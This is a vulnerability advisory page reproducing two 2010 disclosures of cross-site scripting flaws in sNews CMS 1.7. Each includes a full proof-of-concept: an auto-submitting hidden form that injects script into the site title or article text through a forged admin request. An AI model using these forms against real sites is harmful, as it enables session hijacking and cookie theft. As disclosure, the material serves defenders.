sNews CMS Multiple XSS Vulnerabilities

🗓️ 01 Jul 2014 00:00:00Reported by RootType
sNews CMS Multiple XSS Vulnerabilities. User can execute arbitrary JavaScript code within the vulnerable application due to failure in the "snews.php" script to properly sanitize user-supplied input in "website_title" variable

                                                Vulnerability ID: HTB22638
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_snews_1.html
Product: sNews
Vendor: sNews Team ( tp://www.snewscms.com/ ) 
Vulnerable Version: 1.7 and probably prior versions
Vendor Notification: 05 October 2010 
Vulnerability Type: XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the &#34;snews.php&#34; script to properly sanitize user-supplied input in &#34;website_title&#34; variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

&#60;form action=&#34;http://host/?action=process&task=save_settings&#34; method=&#34;post&#34; name=&#34;main&#34; &#62;

&#60;input type=&#34;hidden&#34; name=&#34;website_title&#34; value=&#39;sNews 1.7&#34;&#62;&#60;script&#62;alert(document.cookie)&#60;/script&#62;&#39;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;home_sef&#34; value=&#34;home&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;website_description&#34; value=&#34;sNews CMS&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;website_keywords&#34; value=&#34;snews&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;website_email&#34; value=&#34;info (at) mydomain (dot) com [email concealed]&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;contact_subject&#34; value=&#34;Contact Form&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;language&#34; value=&#34;EN&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;charset&#34; value=&#34;UTF-8&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;date_format&#34; value=&#34;d.m.Y.+H:i&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;article_limit&#34; value=&#34;3&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;rss_limit&#34; value=&#34;5&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;display_page&#34; value=&#34;0&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;num_categories&#34; value=&#34;on&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;file_ext&#34; value=&#34;phps,php,txt,inc,htm,html&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;allowed_file&#34; value=&#34;php,htm,html,txt,inc,css,js,swf&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;allowed_img&#34; value=&#34;gif,jpg,jpeg,png&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;comment_repost_timer&#34; value=&#34;20&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;comments_order&#34; value=&#34;ASC&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;comment_limit&#34; value=&#34;30&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;word_filter_file&#34; value=&#34;&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;word_filter_change&#34; value=&#34;&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;save&#34; value=&#34;Save&#34;&#62;

&#60;/form&#62;
&#60;script&#62;
document.main.submit();
&#60;/script&#62;

Vulnerability ID: HTB22637
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_snews.html
Product: sNews
Vendor: sNews Team ( http://www.snewscms.com/ ) 
Vulnerable Version: 1.7 and probably prior versions
Vendor Notification: 05 October 2010 
Vulnerability Type: Stored XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the &#34;snews.php&#34; script to properly sanitize user-supplied input in &#34;text&#34; variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

&#60;form action=&#34;http://host/?action=process&task=admin_article&id=2&#34; method=&#34;post&#34; name=&#34;main&#34; &#62;

&#60;input type=&#34;hidden&#34; name=&#34;title&#34; value=&#34;article title&#34; /&#62;
&#60;input type=&#34;hidden&#34; name=&#34;seftitle&#34; value=&#34;sefurl&#34; /&#62;
&#60;input type=&#34;hidden&#34; name=&#34;text&#34; value=&#39;article text&#34;&#62;&#60;script&#62;alert(document.cookie)&#60;/script&#62;&#39; /&#62;
&#60;input type=&#34;hidden&#34; name=&#34;define_category&#34; value=&#34;1&#34; /&#62;
&#60;input type=&#34;hidden&#34; name=&#34;publish_article&#34; value=&#34;on&#34; /&#62;
&#60;input type=&#34;hidden&#34; name=&#34;position&#34; value=&#34;1&#34; /&#62;
&#60;input type=&#34;hidden&#34; name=&#34;description_meta&#34; value=&#34;desc&#34; /&#62;
&#60;input type=&#34;hidden&#34; name=&#34;keywords_meta&#34; value=&#34;key&#34; /&#62;
&#60;input type=&#34;hidden&#34; name=&#34;display_title&#34; value=&#34;on&#34; /&#62;
&#60;input type=&#34;hidden&#34; name=&#34;display_info&#34; value=&#34;on&#34; /&#62;
&#60;input type=&#34;hidden&#34; name=&#34;fposting_day&#34; value=&#34;29&#34; /&#62;
&#60;input type=&#34;hidden&#34; name=&#34;fposting_month&#34; value=&#34;9&#34; /&#62;
&#60;input type=&#34;hidden&#34; name=&#34;fposting_year&#34; value=&#34;2010&#34; /&#62;
&#60;input type=&#34;hidden&#34; name=&#34;fposting_hour&#34; value=&#34;16&#34; /&#62;
&#60;input type=&#34;hidden&#34; name=&#34;fposting_minute&#34; value=&#34;40&#34; /&#62;
&#60;input type=&#34;hidden&#34; name=&#34;task&#34; value=&#34;admin_article&#34; /&#62;
&#60;input type=&#34;hidden&#34; name=&#34;edit_article&#34; value=&#34;Edit&#34; /&#62;
&#60;input type=&#34;hidden&#34; name=&#34;article_category&#34; value=&#34;1&#34; /&#62;
&#60;input type=&#34;hidden&#34; name=&#34;id&#34; value=&#34;2&#34; /&#62;

&#60;/form&#62;
&#60;script&#62;
document.main.submit();
&#60;/script&#62;
01 Jul 2014 00:00Current
6.7Medium risk
Vulners AI Score6.7